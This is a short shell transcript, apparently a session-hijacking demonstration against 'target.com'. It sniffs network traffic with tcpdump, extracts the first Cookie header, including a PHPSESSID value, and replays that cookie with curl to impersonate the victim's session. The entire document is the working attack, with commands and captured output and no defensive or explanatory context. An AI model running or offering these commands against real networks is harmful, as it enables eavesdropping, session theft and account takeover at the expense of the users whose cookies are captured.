# tcpdump -i eth1 host target.com -s 0 -w - -l 2>/dev/null | grep -ai -m 1 ^Cookie
.......
Cookie: ctime=2147483; PHPSESSID=6a87410c0a65ed057e4d449cc3015cda;
.......
# curl -b "ctime=2147483; PHPSESSID=6a87410c0a65ed057e4d449cc3015cda;" target.com